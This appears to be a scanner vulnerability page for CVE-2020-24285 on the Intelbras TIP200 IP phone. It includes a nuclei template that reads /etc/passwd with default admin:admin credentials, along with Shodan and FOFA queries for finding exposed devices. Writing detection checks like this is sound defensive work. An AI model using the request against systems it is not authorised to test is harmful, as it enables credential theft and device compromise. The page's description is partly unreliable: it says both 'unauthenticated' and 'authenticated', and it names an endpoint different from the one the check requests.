INTELBRAS TELEFONE IP TIP200 60.61.75.22 - Local File Inclusion

highseverity

7.5CVSS score

4.4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

INTELBRAS TELEFONE IP TIP200 version 60.61.75.22 is vulnerable to information disclosure, allowing unauthenticated attackers to access sensitive device information and configuration data via a direct request to the /cgi-bin/export_settings.sh endpoint.

Impact

Authenticated attackers can read arbitrary files from the device including configuration files and credentials, potentially leading to complete device compromise.

Fix

Update the device firmware to the latest version provided by INTELBRAS.

How to confirm it

Send: GET /cgi-bin/cgiServer.exx?download=/etc/passwd
Positive when: contains_all(tolower(header), 'application/octet-stream', 'filename=') and regex('root:.*:0:0:', body) and status_code == 200

Run it with nuclei: nuclei -id CVE-2020-24285 -u <target>

The full check

id: CVE-2020-24285

info:
  name: INTELBRAS TELEFONE IP TIP200 60.61.75.22 - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: |
    INTELBRAS TELEFONE IP TIP200 version 60.61.75.22 is vulnerable to information disclosure, allowing unauthenticated attackers to access sensitive device information and configuration data via a direct request to the /cgi-bin/export_settings.sh endpoint.
  impact: |
    Authenticated attackers can read arbitrary files from the device including configuration files and credentials, potentially leading to complete device compromise.
  remediation: |
    Update the device firmware to the latest version provided by INTELBRAS.
  reference:
    - https://github.com/SecLoop/CVE/blob/main/telefone_ip_tip200.md
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24285
  classification:
    cve-id: CVE-2020-24285
    cwe-id: CWE-200
    epss-score: 0.04412
    epss-percentile: 0.91417
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
  metadata:
    vendor: intelbras
    product: tip200
    max-request: 1
    verified: true
    shodan-query: html:"/cgi-bin/cgiServer.exx"
    fofa-query: body="/cgi-bin/cgiServer.exx"
  tags: cve,cve2020,intelbras,telefone,tip200,exposure,lfi,vuln

variables:
  username: "admin"
  password: "admin"

http:
  - raw:
      - |
        GET /cgi-bin/cgiServer.exx?download=/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}

    skip-variables-check: true
    matchers:
      - type: dsl
        dsl:
          - "contains_all(tolower(header), 'application/octet-stream', 'filename=')"
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from